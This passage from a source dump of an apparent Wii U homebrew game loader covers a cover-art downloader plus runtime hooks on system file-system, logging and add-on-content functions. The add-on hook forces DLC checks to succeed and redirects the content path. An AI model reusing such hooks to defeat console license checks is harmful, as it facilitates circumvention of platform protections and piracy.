backupURL, progressTitle, backupProgressTitle, ".png"); } if(choices & CheckedBox4) { const char * downloadURL = (Settings.discart == DISCARTS_ORIGINALS || Settings.discart == DISCARTS_ORIGINALS_CUSTOMS ) ? serverURLOrigDiscs : serverURLCustomDiscs; const char * progressTitle = (Settings.discart == DISCARTS_ORIGINALS || Settings.discart == DISCARTS_ORIGINALS_CUSTOMS ) ? tr("Downloading original Discarts") : tr("Downloading custom Discarts"); const char * backupURL = (Settings.discart == DISCARTS_ORIGINALS_CUSTOMS || Settings.discart == DISCARTS_CUSTOMS_ORIGINALS) ? ((Settings.discart == DISCARTS_ORIGINALS_CUSTOMS) ? serverURLCustomDiscs : serverURLOrigDiscs) : NULL; const char * backupProgressTitle = (Settings.discart == DISCARTS_ORIGINALS_CUSTOMS || Settings.discart == DISCARTS_CUSTOMS_ORIGINALS) ? ((Settings.discart == DISCARTS_ORIGINALS_CUSTOMS) ? tr("Downloading custom Discarts") : tr("Downloading original Discarts")) : NULL; FindMissing(Settings.disc_path, downloadURL, backupURL, progressTitle, backupProgressTitle, ".png"); } */ } int GameImageDownloader::GetMissingGameFiles(const string & path, const string & fileext, vector & MissingFilesList) { MissingFilesList.clear(); for (int i = 0; i < GameList::instance()->size(); ++i) { const discHeader* header = GameList::instance()->at(i); string filepath = path + "/" + header->id + fileext; if (CheckFile(filepath.c_str())) continue; //! Not found add to missing list MissingFilesList.push_back(header->id); } return MissingFilesList.size(); } void GameImageDownloader::FindMissing(const char * writepath, const char * downloadURL, const char * backupURL, const char * progressTitle, const char * backupProgressTitle, const char * fileExt) { if (!CreateSubfolder(writepath)) { //WindowPrompt(tr( "Error !" ), fmt("%s %s", tr("Can't create directory"), writepath), tr( "OK" )); return; } vector MissingFilesList; GetMissingGameFiles(writepath, fileExt, MissingFilesList); int size = MissingImages.size(); MissingImages.resize(size+MissingFilesList.size()); for(u32 i = 0, n = size; i < MissingFilesList.size(); ++i, ++n) { MissingImages[n].gameID = MissingFilesList[i]; MissingImages[n].downloadURL = downloadURL; MissingImages[n].backupURL = backupURL; MissingImages[n].writepath = writepath; MissingImages[n].progressTitle = progressTitle; MissingImages[n].backupProgressTitle = backupProgressTitle; MissingImages[n].fileExt = fileExt; } MissingImagesCount += MissingFilesList.size(); } int GameImageDownloader::DownloadProcess(int TotalDownloadCount) { for(u32 i = 0, pos = 0; i < MissingImages.size(); ++i, ++pos) { //if(ProgressCanceled()) // break; //snprintf(progressMsg, sizeof(progressMsg), "http://gametdb.com : %s.png", MissingImages[i].gameID.c_str()); //ShowProgress(MissingImages[i].progressTitle, fmt("%i %s", TotalDownloadCount - pos, tr( "files left" )), progressMsg, pos, TotalDownloadCount); char progressMsg[100]; snprintf(progressMsg, sizeof(progressMsg), "http://gametdb.com : %s.png - %i files left", MissingImages[i].gameID.c_str(), TotalDownloadCount - pos); progressWindow.setTitle(progressMsg); progressWindow.setProgress(100.0f * (f32)pos / (f32)TotalDownloadCount); std::string imageData; DownloadImage(MissingImages[i].downloadURL, MissingImages[i].gameID.c_str(), MissingImages[i].fileExt, imageData); if(!imageData.size()) { if(MissingImages[i].backupURL) { DEBUG_FUNCTION_LINE("Trying backup URL.\n"); MissingImages[i].downloadURL = MissingImages[i].backupURL; MissingImages[i].backupURL = NULL; MissingImages[i].progressTitle = MissingImages[i].backupProgressTitle; --i; --pos; } continue; } DEBUG_FUNCTION_LINE(" - OK\n"); std::string strOutpath; strOutpath = MissingImages[i].writepath; strOutpath += "/"; strOutpath += MissingImages[i].gameID; strOutpath += MissingImages[i].fileExt; CFile file(strOutpath, CFile::WriteOnly); if(file.isOpen()) { file.write((u8*)imageData.c_str(), imageData.size()); file.close(); } //! Remove the image from the vector since it's done MissingImages.erase(MissingImages.begin()+i); --i; } return MissingImages.size(); } bool GameImageDownloader::DownloadImage(const char * url, const char * gameID, const char * fileExt, std::string & imageData) { std::string checkedRegion; std::string downloadURL; bool PAL = false; const char *db_language = CSettings::getValueAsString(CSettings::ConsoleRegionCode).c_str(); // TODO: read from wiiu settings //Creates URL depending from which Country the game is switch (gameID[3]) { case 'J': downloadURL = std::string(url) + "JA/" + gameID + fileExt; checkedRegion = "JA"; break; case 'W': downloadURL = std::string(url) + "ZH/" + gameID + fileExt; checkedRegion = "ZH"; break; case 'K': downloadURL = std::string(url) + "KO/" + gameID + fileExt; checkedRegion = "KO"; break; case 'P': case 'D': case 'F': case 'I': case 'S': case 'H': case 'U': case 'X': case 'Y': case 'Z': downloadURL = std::string(url) + db_language + "/" + gameID + fileExt; checkedRegion = db_language; PAL = true; break; case 'E': downloadURL = std::string(url) + "US/" + gameID + fileExt; checkedRegion = "US"; break; default: break; } DEBUG_FUNCTION_LINE("downloadURL %s", downloadURL.c_str()); FileDownloader::getFile(downloadURL, imageData); if(VALID_IMAGE(imageData.size())) return true; imageData.clear(); //! those are not needed yet -> later //! just shutup the compiler (void)PAL; (void)serverURL2D; (void)serverURLFullHQ; (void)serverURLFull; (void)serverURLOrigDiscs; (void)serverURLCustomDiscs; return false; /* if(PAL && strcmp(CheckedRegion, "EN") != 0) { snprintf(downloadURL, sizeof(downloadURL), "%sEN/%s.png", url, gameID); DEBUG_FUNCTION_LINE(" - Not found.\n%s", downloadURL); file = downloadfile(downloadURL); if(VALID_IMAGE(file)) return file; } else if(strcmp(CheckedRegion, "") == 0) { const char * lang = Settings.db_language; if(strcmp(lang, "EN") == 0 && CONF_GetRegion() == CONF_REGION_US) lang = "US"; snprintf(downloadURL, sizeof(downloadURL), "%s%s/%s.png", url, lang, gameID); DEBUG_FUNCTION_LINE(" - Not found.\n%s", downloadURL); file = downloadfile(downloadURL); if(VALID_IMAGE(file)) return file; free(file.data); snprintf(downloadURL, sizeof(downloadURL), "%sOTHER/%s.png", url, gameID); DEBUG_FUNCTION_LINE(" - Not found.\n%s", downloadURL); file = downloadfile(downloadURL); if(VALID_IMAGE(file)) return file; } DEBUG_FUNCTION_LINE(" - Not found.\n"); free(file.data); memset(&file, 0, sizeof(struct block)); */ } ================================================ FILE: src/network/GameImageDownloader.h ================================================ #ifndef GAME_IMAGE_DOWNLOADER_H_ #define GAME_IMAGE_DOWNLOADER_H_ #include #include #include "FileDownloader.h" #include "system/AsyncDeleter.h" #include "menu/ProgressWindow.h" class GameImageDownloader : public GuiFrame, public CThread { public: GameImageDownloader() : GuiFrame(0, 0) , CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff) , progressWindow("Downloading images...") { append(&progressWindow); width = progressWindow.getWidth(); height = progressWindow.getHeight(); } void startDownloading() { resumeThread(); } sigslot::signal2 asyncLoadFinished; private: void executeThread(); void FindMissingImages(); void FindMissing(const char *writepath, const char *downloadURL, const char *backupURL, const char *progressTitle, const char *backupProgressTitle, const char *fileExt); int GetMissingGameFiles(const std::string & path, const std::string & fileext, std::vector & MissingFilesList); int DownloadProcess(int TotalDownloadCount); bool DownloadImage(const char * url, const char * gameID, const char * fileExt, std::string & imageData); struct ImageLink { std::string gameID; const char *downloadURL; const char *backupURL; const char *writepath; const char *progressTitle; const char *backupProgressTitle; const char *fileExt; }; u32 MissingImagesCount; std::vector MissingImages; ProgressWindow progressWindow; }; #endif ================================================ FILE: src/patcher/aoc_patcher.cpp ================================================ #include #include "aoc_patcher.h" #include "common/retain_vars.h" DECL(int, ACPGetAddOnUniqueId, unsigned int * id_buffer, int buffer_size) { int result = real_ACPGetAddOnUniqueId(id_buffer, buffer_size); if(GAME_LAUNCHED && gEnableDLC) { id_buffer[0] = (cosAppXmlInfoStruct.title_id >> 8) & 0xffff; result = 0; } return result; } DECL(int, AOC_OpenTitle, char * path, void * target, void * buffer, unsigned int buffer_size) { int result = real_AOC_OpenTitle(path, target, buffer, buffer_size); if(GAME_LAUNCHED && gEnableDLC && (result != 0)) { sprintf(path, "/vol/aoc0005000c%08x", (u32)(cosAppXmlInfoStruct.title_id & 0xffffffff)); result = 0; } return result; } /* ***************************************************************************** * Creates function pointer array * ****************************************************************************/ hooks_magic_t method_hooks_aoc[] __attribute__((section(".data"))) = { MAKE_MAGIC(AOC_OpenTitle, LIB_AOC,DYNAMIC_FUNCTION), MAKE_MAGIC(ACPGetAddOnUniqueId, LIB_NN_ACP,DYNAMIC_FUNCTION), }; u32 method_hooks_size_aoc __attribute__((section(".data"))) = sizeof(method_hooks_aoc) / sizeof(hooks_magic_t); //! buffer to store our instructions needed for our replacements volatile u32 method_calls_aoc[sizeof(method_hooks_aoc) / sizeof(hooks_magic_t) * FUNCTION_PATCHER_METHOD_STORE_SIZE] __attribute__((section(".data"))); ================================================ FILE: src/patcher/aoc_patcher.h ================================================ #ifndef _AOC_FUNCTION_PATCHER_H #define _AOC_FUNCTION_PATCHER_H #ifdef __cplusplus extern "C" { #endif #include "utils/function_patcher.h" #include "common/kernel_defs.h" extern hooks_magic_t method_hooks_aoc[]; extern u32 method_hooks_size_aoc; extern volatile u32 method_calls_aoc[]; extern ReducedCosAppXmlInfo cosAppXmlInfoStruct; #ifdef __cplusplus } #endif #endif /* _AOC_FUNCTION_PATCHER_H */ ================================================ FILE: src/patcher/cpp_to_c_util.cpp ================================================ #include "cpp_to_c_util.h" #include #include "utils/FileReplacer.h" #include "common/common.h" #include "common/retain_vars.h" #include "video/shaders/ColorShader.h" replacement_FileReplacer_t replacement_FileReplacer_initWithFile(char * path, char * content, char * filename,void * pClient,void * pCmd) { return new FileReplacer(path,content,filename,pClient,pCmd); } void replacement_FileReplacer_destroy(replacement_FileReplacer_t untyped_ptr) { FileReplacer* typed_ptr = static_cast(untyped_ptr); delete typed_ptr; } int replacement_FileReplacer_isFileExisting(replacement_FileReplacer_t untyped_self, char * param) { if(untyped_self != NULL){ FileReplacer* typed_self = static_cast(untyped_self); if(param != 0){ return typed_self->isFileExisting(std::string(param)); } } return -1; } ================================================ FILE: src/patcher/cpp_to_c_util.h ================================================ #ifdef __cplusplus #define EXTERNC extern "C" #else #define EXTERNC #endif #include "common/types.h" typedef void* replacement_FileReplacer_t; EXTERNC replacement_FileReplacer_t replacement_FileReplacer_initWithFile(char * path, char * content, char * filename,void * pClient,void * pCmd); EXTERNC void replacement_FileReplacer_destroy(replacement_FileReplacer_t filereplacer); EXTERNC int replacement_FileReplacer_isFileExisting(replacement_FileReplacer_t self, char* param); #undef EXTERNC ================================================ FILE: src/patcher/extra_log_patcher.cpp ================================================ #include "extra_log_patcher.h" #define USE_EXTRA_LOG_FUNCTIONS 0 #if (USE_EXTRA_LOG_FUNCTIONS == 1) DECL(int, OSDynLoad_GetModuleName, unsigned int *handle, char *name_buffer, int *name_buffer_size) { int result = real_OSDynLoad_GetModuleName(handle, name_buffer, name_buffer_size); if ((int)bss_ptr != 0x0a000000) { char buffer[200]; __os_snprintf(buffer, sizeof(buffer), "OSDynLoad_GetModuleName: %s result %i", (name_buffer && result == 0) ? name_buffer : "NULL", result); fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR); } return result; } DECL(int, OSDynLoad_IsModuleLoaded, char* rpl, unsigned int *handle, int r5 __attribute__((unused))) { int result = real_OSDynLoad_IsModuleLoaded(rpl, handle, 1); if ((int)bss_ptr != 0x0a000000) { char buffer[200]; __os_snprintf(buffer, sizeof(buffer), "OSDynLoad_IsModuleLoaded: %s result %i", rpl, result); fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR); } return result; } #endif /* ***************************************************************************** * Log functions * ****************************************************************************/ #if (USE_EXTRA_LOG_FUNCTIONS == 1) static void fs_log_byte_for_client(void *pClient, char byte) { int client = GetCurClient(pClient); if (client != -1) { fs_log_byte(bss.socket_fs[client], byte); } } DECL(int, FSCloseFile_log, void *pClient, void *pCmd, int fd, int error) { fs_log_byte_for_client(pClient, BYTE_CLOSE_FILE); return real_FSCloseFile_log(pClient, pCmd, fd, error); } DECL(int, FSCloseDir_log, void *pClient, void *pCmd, int fd, int error) { fs_log_byte_for_client(pClient, BYTE_CLOSE_DIR); return real_FSCloseDir_log(pClient, pCmd, fd, error); } DECL(int, FSFlushFile_log, void *pClient, void *pCmd, int fd, int error) { fs_log_byte_for_client(pClient, BYTE_FLUSH_FILE); return real_FSFlushFile_log(pClient, pCmd, fd, error); } DECL(int, FSGetErrorCodeForViewer_log, void *pClient, void *pCmd) { fs_log_byte_for_client(pClient, BYTE_GET_ERROR_CODE_FOR_VIEWER); return real_FSGetErrorCodeForViewer_log(pClient, pCmd); } DECL(int, FSGetLastError_log, void *pClient) { fs_log_byte_for_client(pClient, BYTE_GET_LAST_ERROR); return real_FSGetLastError_log(pClient); } DECL(int, FSGetPosFile_log, void *pClient, void *pCmd, int fd, int *pos, int error) { fs_log_byte_for_client(pClient, BYTE_GET_POS_FILE); return real_FSGetPosFile_log(pClient, pCmd, fd, pos, error); } DECL(int, FSGetStatFile_log, void *pClient, void *pCmd, int fd, void *buffer, int error) { fs_log_byte_for_client(pClient, BYTE_GET_STAT_FILE); return real_FSGetStatFile_log(pClient, pCmd, fd, buffer, error); } DECL(int, FSIsEof_log, void *pClient, void *pCmd, int fd, int error) { fs_log_byte_for_client(pClient, BYTE_EOF); return real_FSIsEof_log(pClient, pCmd, fd, error); } DECL(int, FSReadFileWithPos_log, void *pClient, void *pCmd, void *buffer, int size, int count, int pos, int fd, int flag, int error) { fs_log_byte_for_client(pClient, BYTE_READ_FILE_WITH_POS); return real_FSReadFileWithPos_log(pClient, pCmd, buffer, size, count, pos, fd, flag, error); } DECL(int, FSSetPosFile_log, void *pClient, void *pCmd, int fd, int pos, int error) { fs_log_byte_for_client(pClient, BYTE_SET_POS_FILE); return real_FSSetPosFile_log(pClient, pCmd, fd, pos, error); } DECL(void, FSSetStateChangeNotification_log, void *pClient, int r4) { fs_log_byte_for_client(pClient, BYTE_SET_STATE_CHG_NOTIF); real_FSSetStateChangeNotification_log(pClient, r4); } DECL(int, FSTruncateFile_log, void *pClient, void *pCmd, int fd, int error) { fs_log_byte_for_client(pClient, BYTE_TRUNCATE_FILE); return real_FSTruncateFile_log(pClient, pCmd, fd, error); } DECL(int, FSWriteFile_log, void *pClient, void *pCmd, const void *source, int size, int count, int fd, u32 flag, int error) { fs_log_byte_for_client(pClient, BYTE_WRITE_FILE); return real_FSWriteFile_log(pClient, pCmd, source, size, count, fd, flag, error); } DECL(int, FSWriteFileWithPos_log, void *pClient, void *pCmd, const void *source, int size, int count, int pos, int fd, u32 flag, int error) { fs_log_byte_for_client(pClient, BYTE_WRITE_FILE_WITH_POS); return real_FSWriteFileWithPos_log(pClient, pCmd, source, size, count, pos, fd, flag, error); } DECL(int, FSGetVolumeState_log, void *pClient) { int result = real_FSGetVolumeState_log(pClient); if ((int)bss_ptr != 0x0a000000) { if (result > 1) { int error = real_FSGetLastError_log(pClient); char buffer[200]; __os_snprintf(buffer, sizeof(buffer), "FSGetVolumeState: %i, last error = %i", result, error); fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR); } } return result; } #endif /* ***************************************************************************** * Creates function pointer array * ****************************************************************************/ hooks_magic_t method_hooks_extra_log[] __attribute__((section(".data"))) = { #if (USE_EXTRA_LOG_FUNCTIONS == 1) MAKE_MAGIC(FSCloseFile_log, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSCloseDir_log, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSFlushFile_log, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSGetErrorCodeForViewer_log, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSGetLastError_log, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSGetPosFile_log, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSGetStatFile_log, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSIsEof_log, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSReadDir_log, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSReadFile_log, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSReadFileWithPos_log, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSSetPosFile_log, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSSetStateChangeNotification_log, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSTruncateFile_log, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSWriteFile_log, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSWriteFileWithPos_log, LIB_CORE_INIT,STATIC_FUNCTION), MAKE_MAGIC(FSGetVolumeState_log, LIB_CORE_INIT,STATIC_FUNCTION), #endif }; u32 method_hooks_size_extra_log __attribute__((section(".data"))) = sizeof(method_hooks_extra_log) / sizeof(hooks_magic_t); //! buffer to store our instructions needed for our replacements volatile u32 method_calls_extra_log[sizeof(method_hooks_extra_log) / sizeof(hooks_magic_t) * FUNCTION_PATCHER_METHOD_STORE_SIZE] __attribute__((section(".data"))); ================================================ FILE: src/patcher/extra_log_patcher.h ================================================ #ifndef _EXTRA_LOG_FUNCTION_PATCHER_H #define _EXTRA_LOG_FUNCTION_PATCHER_H #ifdef __cplusplus extern "C" { #endif #include "utils/function_patcher.h" extern hooks_magic_t method_hooks_extra_log[]; extern u32 method_hooks_size_extra_log; extern volatile u32 method_calls_extra_log[]; #ifdef __cplusplus } #endif #endif /* _EXTRA_LOG_FUNCTION_PATCHER_H */ ================================================ FILE: src/patcher/fs_logger.c ================================================ #include #include "common/common.h" #include "dynamic_libs/os_functions.h" #include "dynamic_libs/socket_functions.h" #include "utils/function_patcher.h" #include "fs_logger.h" #include "utils/utils.h" #include "utils/logger.h" #define CHECK_ERROR(cond) if (cond) { goto error; } static int cur_sock = 1; int fs_logger_connect(int *socket) { *socket = cur_sock++; log_printf("[%02X] connected\n",*socket); return 0; } void fs_logger_disconnect(int socket) { log_printf("[%02X] disconnected\n",socket); } char * getNameForByte(u8 byte){ switch(byte) { case BYTE_NORMAL: return "NORMAL"; case BYTE_SPECIAL: return "SPECIAL"; case BYTE_OK: return "OK"; case BYTE_PING: return "PING"; case BYTE_DISCONNECT: return "DISCONNECT"; case BYTE_LOG_STR: return "Logging"; case BYTE_MOUNT_SD: return "Mounting SD Card"; case BYTE_MOUNT_SD_OK: return "Mounting SD Card success"; case BYTE_MOUNT_SD_BAD: return "Mounting SD Card failed"; case BYTE_STAT: return "GetStat"; case BYTE_STAT_ASYNC: return "GetStatAsync"; case BYTE_OPEN_FILE: return "OpenFile"; case BYTE_OPEN_FILE_ASYNC: return "OpenFileAsync"; case BYTE_OPEN_DIR: return "OpenDir"; case BYTE_OPEN_DIR_ASYNC: return "OpenDirAsync"; case BYTE_CHANGE_DIR: return "ChangeDir"; case BYTE_CHANGE_DIR_ASYNC: return "ChangeDirAsync"; case BYTE_MAKE_DIR: return "MakeDir"; case BYTE_MAKE_DIR_ASYNC: return "MakeDirAsync"; case BYTE_RENAME: return "Rename"; case BYTE_RENAME_ASYNC: return "RenameAsync"; case BYTE_REMOVE: return "Remove"; case BYTE_REMOVE_ASYNC: return "RemoveAsync"; case BYTE_CLOSE_FILE: return "CloseFile"; case BYTE_CLOSE_FILE_ASYNC: return "CloseFileAsync"; case BYTE_CLOSE_DIR: return "CloseDir"; case BYTE_CLOSE_DIR_ASYNC: return "CloseDirAsync"; case BYTE_FLUSH_FILE: return "FlushFile"; case BYTE_GET_ERROR_CODE_FOR_VIEWER: return "GetErrorCodeV"; case BYTE_GET_LAST_ERROR: return "LastError"; case BYTE_GET_MOUNT_SOURCE: return "MountSource"; case BYTE_GET_MOUNT_SOURCE_NEXT: return "MountSourceNext"; case BYTE_GET_POS_FILE: return "GetPosFile"; case BYTE_SET_POS_FILE: return "SetPosFile"; case BYTE_GET_STAT_FILE: return "GetStatFile"; case BYTE_EOF: return "EOF"; case BYTE_READ_FILE: return "ReadFile"; case BYTE_READ_FILE_ASYNC: return "ReadFileAsync"; case BYTE_READ_FILE_WITH_POS: return "ReadFilePOS"; case BYTE_READ_DIR: return "ReadDir"; case BYTE_READ_DIR_ASYNC: return "ReadDirAsync"; case BYTE_GET_CWD: return "GetCWD"; case BYTE_SET_STATE_CHG_NOTIF: return "BYTE_SET_STATE_CHG_NOTIF"; case BYTE_TRUNCATE_FILE: return "TruncateFile"; case BYTE_WRITE_FILE: return "WriteFile"; case BYTE_WRITE_FILE_WITH_POS: return "WriteFilePos"; case BYTE_SAVE_INIT: return "SaveInit"; case BYTE_SAVE_SHUTDOWN: return "SaveShutdown"; case BYTE_SAVE_INIT_SAVE_DIR: return "SaveInitSaveDir"; case BYTE_SAVE_FLUSH_QUOTA: return "SaveFlushQuota"; case BYTE_SAVE_OPEN_DIR: return "SaveOpenDir"; case BYTE_SAVE_REMOVE: return "SaveRemove"; case BYTE_CREATE_THREAD: return "CreateThread"; default: return "UNKWN"; } return ""; } void fs_log_string(int sock, const char* str, unsigned char flag_byte) { log_printf("[%02d] %-24s: %s\n",sock, getNameForByte(flag_byte), str); } void fs_log_byte(int sock, unsigned char flag_byte) { log_printf("[%02d] %-24s\n",sock, getNameForByte(flag_byte)); } ================================================ FILE: src/patcher/fs_logger.h ================================================ #ifndef FS_LOGGER_H_ #define FS_LOGGER_H_ /* Communication bytes with the server */ // Com #define BYTE_NORMAL 0xff #define BYTE_SPECIAL 0xfe #define BYTE_OK 0xfd #define BYTE_PING 0xfc #define BYTE_LOG_STR 0xfb #define BYTE_DISCONNECT 0xfa // SD #define BYTE_MOUNT_SD 0xe0 #define BYTE_MOUNT_SD_OK 0xe1 #define BYTE_MOUNT_SD_BAD 0xe2 // Replacement #define BYTE_STAT 0x00 #define BYTE_STAT_ASYNC 0x01 #define BYTE_OPEN_FILE 0x02 #define BYTE_OPEN_FILE_ASYNC 0x03 #define BYTE_OPEN_DIR 0x04 #define BYTE_OPEN_DIR_ASYNC 0x05 #define BYTE_CHANGE_DIR 0x06 #define BYTE_CHANGE_DIR_ASYNC 0x07 #define BYTE_MAKE_DIR 0x08 #define BYTE_MAKE_DIR_ASYNC 0x09 #define BYTE_RENAME 0x0A #define BYTE_RENAME_ASYNC 0x0B #define BYTE_REMOVE 0x0C #define BYTE_REMOVE_ASYNC 0x0D // Log #define BYTE_CLOSE_FILE 0x40 #define BYTE_CLOSE_FILE_ASYNC 0x41 #define BYTE_CLOSE_DIR 0x42 #define BYTE_CLOSE_DIR_ASYNC 0x43 #define BYTE_FLUSH_FILE 0x44 #define BYTE_GET_ERROR_CODE_FOR_VIEWER 0x45 #define BYTE_GET_LAST_ERROR 0x46 #define BYTE_GET_MOUNT_SOURCE 0x47 #define BYTE_GET_MOUNT_SOURCE_NEXT 0x48 #define BYTE_GET_POS_FILE 0x49 #define BYTE_SET_POS_FILE 0x4A #define BYTE_GET_STAT_FILE 0x4B #define BYTE_EOF 0x4C #define BYTE_READ_FILE 0x4D #define BYTE_READ_FILE_ASYNC 0x4E #define BYTE_READ_FILE_WITH_POS 0x4F #define BYTE_READ_DIR 0x50 #define BYTE_READ_DIR_ASYNC 0x51 #define BYTE_GET_CWD 0x52 #define BYTE_SET_STATE_CHG_NOTIF 0x53 #define BYTE_TRUNCATE_FILE 0x54 #define BYTE_WRITE_FILE 0x55 #define BYTE_WRITE_FILE_WITH_POS 0x56 #define BYTE_SAVE_INIT 0x57 #define BYTE_SAVE_SHUTDOWN 0x58 #define BYTE_SAVE_INIT_SAVE_DIR 0x59 #define BYTE_SAVE_FLUSH_QUOTA 0x5A #define BYTE_SAVE_OPEN_DIR 0x5B #define BYTE_SAVE_REMOVE 0x5C #define BYTE_CREATE_THREAD 0x60 #ifdef __cplusplus extern "C" { #endif int fs_logger_connect(int *socket); void fs_logger_disconnect(int socket); void fs_log_string(int sock, const char* str, unsigned char byte); void fs_log_byte(int sock, unsigned char byte); #ifdef __cplusplus } #endif #endif ================================================ FILE: src/patcher/fs_patcher.cpp ================================================ #include #include #include #include "fs_logger.h" #include "common/common.h" #include "common/loader_defs.h" #include "common/retain_vars.h" #include "game/rpx_rpl_table.h" #include "kernel/kernel_functions.h" #include "system/exception_handler.h" #include "utils/function_patcher.h" #include "fs/fs_utils.h" #include "utils/logger.h" #include "system/memory.h" #include "patcher/fs_patcher.h" #include "patcher/patcher_util.h" #include "cpp_to_c_util.h" DECL(int, FSInit, void) { log_init(); if ((int)bss_ptr == 0x0a000000) { log_printf("FSINIT\n"); if(gamePathStruct.os_game_path_base == 0) return real_FSInit(); // allocate memory for our stuff void *mem_ptr = memalign(0x40, sizeof(struct bss_t)); if(!mem_ptr) return real_FSInit(); // copy pointer bss_ptr = (bss_t*)mem_ptr; memset(bss_ptr, 0, sizeof(struct bss_t)); // first thing is connect to logger fs_logger_connect(&bss.global_sock); // create game mount path prefix __os_snprintf(bss.mount_base, sizeof(bss.mount_base), "%s/%s%s", gamePathStruct.os_game_path_base, gamePathStruct.game_dir, CONTENT_PATH); // create game save path prefix __os_snprintf(bss.save_base, sizeof(bss.save_base), "%s/%s", gamePathStruct.os_save_path_base, gamePathStruct.game_dir); // copy save dirs __os_snprintf(bss.save_dir_common, sizeof(bss.save_dir_common), "%s", gamePathStruct.save_dir_common); __os_snprintf(bss.save_dir_user, sizeof(bss.save_dir_user), "%s", gamePathStruct.save_dir_user); // setup exceptions, has to be done once per core setup_os_exceptions(); // Call real FSInit int result = real_FSInit(); void* pClient = malloc(FS_CLIENT_SIZE); void* pCmd = malloc(FS_CMD_BLOCK_SIZE); if(pClient && pCmd) { FSInitCmdBlock(pCmd); FSAddClientEx(pClient, 0, -1); int result = MountFS(pClient, pCmd, 0); if(result == 0 && gSettingUseUpdatepath && GAME_LAUNCHED){ char filepath[255]; __os_snprintf(filepath, sizeof(filepath), "%s/%s%s/%s", gamePathStruct.os_game_path_base, gamePathStruct.game_dir,UPDATE_PATH, gamePathStruct.update_folder); bss.file_replacer = (void*)replacement_FileReplacer_initWithFile(filepath,CONTENT_PATH,FILELIST_NAME,pClient,pCmd); } fs_log_byte(bss.global_sock, (result == 0) ? BYTE_MOUNT_SD_OK : BYTE_MOUNT_SD_BAD); FSDelClient(pClient); } if(pClient) free(pClient); if(pCmd) free(pCmd); return result; } return real_FSInit(); } DECL(int, FSShutdown, void) { if ((int)bss_ptr != 0x0a000000) { fs_logger_disconnect(bss.global_sock); bss.global_sock = -1; replacement_FileReplacer_destroy(bss.file_replacer); } return real_FSShutdown(); } DECL(int, FSAddClientEx, void *pClient, int unk_param, int errHandling) { int res = real_FSAddClientEx(pClient, unk_param, errHandling); if ((int)bss_ptr != 0x0a000000 && res >= 0) { if (GAME_RPX_LOADED != 0) { int client = client_num_alloc(pClient); if (client >= 0) { if (fs_logger_connect(&bss.socket_fs[client]) != 0) client_num_free(client); } } } return res; } DECL(int, FSDelClient, void *pClient) { if ((int)bss_ptr != 0x0a000000) { int client = client_num(pClient); if (client >= 0) { fs_logger_disconnect(bss.socket_fs[client]); client_num_free(client); } } return real_FSDelClient(pClient); } // TODO: make new_path dynamically allocated from heap and not on stack to avoid stack overflow on too long names // int len = m_strlen(path) + (is_save ? (m_strlen(bss.save_base) + 15) : m_strlen(bss.mount_base)); /* ***************************************************************************** * Replacement functions * ****************************************************************************/ DECL(int, FSGetStat, void *pClient, void *pCmd, const char *path, FSStat *stats, int error) { int client = GetCurClient(pClient); if (client != -1) { // log fs_log_string(bss.socket_fs[client], path, BYTE_STAT); // change path if it is a game file int pathType = getPathType(path); if (pathType) { int len = strlen(path); int len_base = getNewPathLen(pathType); char new_path[len + len_base + 1]; compute_new_path(new_path, path, len, pathType); fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR); // return function with new_path if path exists return real_FSGetStat(pClient, pCmd, new_path, stats, error); } } return real_FSGetStat(pClient, pCmd, path, stats, error); } DECL(int, FSGetStatAsync, void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams) { int client = GetCurClient(pClient); if (client != -1) { // log fs_log_string(bss.socket_fs[client], path, BYTE_STAT_ASYNC); // change path if it is a game/save file int pathType = getPathType(path); if (pathType) { int len = strlen(path); int len_base = getNewPathLen(pathType); char new_path[len + len_base + 1]; compute_new_path(new_path, path, len, pathType); fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR); return real_FSGetStatAsync(pClient, pCmd, new_path, stats, error, asyncParams); } } return real_FSGetStatAsync(pClient, pCmd, path, stats, error, asyncParams); } DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error) { /* int client = GetCurClient(pClient); if (client != -1) { // log fs_log_string(bss.socket_fs[client], path, BYTE_OPEN_FILE); // change path if it is a game file int is_save = 0; if (is_gamefile(path) || (is_save = is_savefile(path))) { int len = m_strlen(path); int len_base = getNewPathLen(is_save); char new_path[len + len_base + 1]; compute_new_path(new_path, path, len, is_save); // log new path fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR); return real_FSOpenFile(pClient, pCmd, new_path, mode, handle, error); } } */ return real_FSOpenFile(pClient, pCmd, path, mode, handle, error); } DECL(int, FSOpenFileAsync, void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams) { int client = GetCurClient(pClient); if (client != -1) { // log fs_log_string(bss.socket_fs[client], path, BYTE_OPEN_FILE_ASYNC); // change path if it is a game file int pathType = getPathType(path); if (pathType) { int len = strlen(path); int len_base = getNewPathLen(pathType); char new_path[len + len_base + 1]; compute_new_path(new_path, path, len, pathType); fs_log_string(bss.socket_fs[client], new_path, BYTE_LOG_STR); return real_FSOpenFileAsync(pClient, pCmd, new_path, mode, handle, error, asyncParams); } } return real_FSOpenFileAsync(pClient, pCmd, path, mode, handle, error, asyncParams); } DECL(int, FSOpenDir, void *pClient, void* pCmd, const char 